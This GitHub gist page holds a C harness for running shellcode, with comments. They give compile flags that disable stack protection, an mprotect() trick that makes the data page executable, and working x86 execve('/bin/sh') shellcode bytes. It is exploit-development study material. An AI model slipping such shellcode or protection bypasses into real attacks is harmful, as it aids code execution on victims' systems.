Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
C Program to test shellcode
unsigned char code[] = \
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
Copy link

mdulin2 commented Sep 19, 2018

S/O to AddaxSoft for the great insight, such a homie!

Copy link

sjbumbe commented Nov 18, 2019

Illegal instruction?

Copy link

eulenleber commented Jan 31, 2021

for the future noobs:

this is an x86 linux shellcode that will spawn a /bin/sh

* **on an x86 machine:**
  you can compile using `gcc -o shell src.c` on a x86 machine; if you have a seg fault then compile it with the following flags:
  `gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie`

* **on x64 machine; things are different.**

1. Either change the shell code to am x64 version [can be found [here](], OR

2. compile with the `-m32` flag as follow:
   `gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie -m32`

if you face the "sys/cdefs.h: No such file or directory" fatal error;
then run apt-get install libc6-dev-i386

I hope this helped!

This doesnt help (anymore?)

first: the code is not on the stack - its in the .data segment, thus -fno-stack-protector -z execstack are completely irrelevant for the code to work. -no-pie does not affect to code either since the code is not referring to specific addresses, is it?
But the idea is right: the code must be stored in an executable memory.

for the future and past noobs:

At least on my x64 the memory page is not executable (x86 only has r/w, x64 has r/w/x, thats why it always works on x86 and the problem does not occur there)
To make the page executable change the main accordingly:

int main(){
  printf("Shellcode length: %d\n", strlen(code));
  int r =  mprotect((void *)((int)code & ~4095),  4096, PROT_READ | PROT_WRITE|PROT_EXEC);
  printf("mprotect: %d\n",r);
  int (*ret)() = (int(*)())code;
  return ret();

Why (void *)((int)code & ~4095), 4096?

   mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval [addr, addr+len-1].  addr must be aligned to a page boundary.

Its the page alignment. (so to speak "drop the last three nibbles of the address" since the page is 4K this will result in the beginning of the page where the code[] is stored)
The type cast is just to allow logical operations (cast to int, apply logical and, cast back to pointer)

now you can indeed compile:

gcc -m32 shellcodetest.c

Copy link

jattboe commented Jan 27, 2022

Just put code in stack by initializing code as local variable

#include <stdio.h>
#include <string.h>

int main(){
    char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    printf("Shellcode length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    return ret();
  • gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment